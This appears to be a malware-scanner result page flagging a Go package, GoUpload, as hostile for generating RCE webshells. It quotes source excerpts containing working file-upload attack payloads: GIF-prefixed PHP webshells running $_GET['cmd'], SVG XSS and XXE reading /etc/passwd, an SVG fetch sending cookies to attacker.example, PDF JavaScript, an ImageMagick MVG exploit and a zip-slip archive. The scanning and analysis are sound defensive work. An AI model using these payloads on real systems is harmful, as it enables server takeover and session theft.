Hostile 100% go Download

github.com/HaakimSec/GoUpload v1.8.4-0.20260919210910-c270ae9dddb9

Generates and deploys RCE webshells

PHP payload routes request parameters to shell commandsPHP web shell payload embedded in source (builder)

Evidence

$_GET reaches exec/system lines 11–43
⋯4 lines
15 {
16 name: "GIF89a + PHP system",
17 content: gifHeader + "\n<?php system($_GET['cmd']); ?>",
18 },
19 {
20 name: "GIF89a + PHP shell_exec",
21 content: gifHeader + "\n<?php echo shell_exec($_GET['cmd']); ?>",
22 },
23 {
24 name: "GIF89a + PHP passthru",
25 content: gifHeader + "\n<?php passthru($_GET['cmd']); ?>",
26 },
27 {
28 name: "GIF89a + PHP eval",
29 content: gifHeader + "\n<?php eval($_GET['cmd']); ?>",
30 },
31 {
32 name: "GIF89a + PHP marker",
33 content: gifHeader + "\n<?php echo 'RCE_SUCCESS'; system($_GET['cmd']); ?>",
34 },
35 }
36
37 for _, p := range gifPayloads {
38 payloads = append(payloads, &Payload{
39 TestType: TestTypePolyglotArchive,
⋯4 lines
External entity targets account database lines 104–133
104:9… string
105 content string
106 }{
107 {
108 name: "SVG with JavaScript XSS",
109 content: `<?xml version="1.0" encoding="UTF-8"?>
110<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
⋯5 lines
116 name: "SVG with external entity (XXE)",
117 content: `<?xml version="1.0" encoding="UTF-8"?>
118<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
119<svg xmlns="http://www.w3.org/2000/svg">
120 <text>&xxe;</text>
121</svg>`,
122 },
123 {
124 name: "SVG with fetch (cookie exfil)",
125 content: `<?xml version="1.0" encoding="UTF-8"?>
126<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/steal?c='+document.cookie)">
127</svg>`,
128 },
⋯5 lines
References the PDF signature or media type lines 150–159
150:59… hive"},
151 })
152
153 // ── PDF + JavaScript ──
154 pdfContent := `%PDF-1.4
1551 0 obj
156<< /Type /Catalog /Pages 2 0 R /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >> >>
157endobj
1582 0 obj
159<< /Type /Page …
Structured CVE identifier lines 185–203
185:19… gick MVG ──
186 mvgPayload := `push graphic-context
187viewbox 0 0 640 480
188fill 'url(https://attacker.example/test.jpg")'
189pop graphic-context`
190
191 payloads = append(payloads, &Payload{
192 TestType: TestTypePolyglotArchive,
193 Technique: "ImageMagick MVG - SSRF/command injection",
194 Filename: "exploit.mvg",
195 Extension: ".mvg",
196 Body: []byte(mvgPayload),
197 Tags: []string{"polyglot", "imagemagick", "ssrf", "cve-2016-3714"},
198 })
199
⋯4 lines
Go temp path reference lines 239–246
239:8… payloads
240}
241
242func createZipSlipPayload() []byte {
243 filename := "../../../tmp/zipslip_test.txt"
244 content := "ZIP_SLIP_TEST"
245 return []byte(fmt.Sprintf("PK\x03\x04\n\x00\x00\x00\x00\x00%s\n%s", filename, content))
246}

Showing the top 5 files — 7 more files (44 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.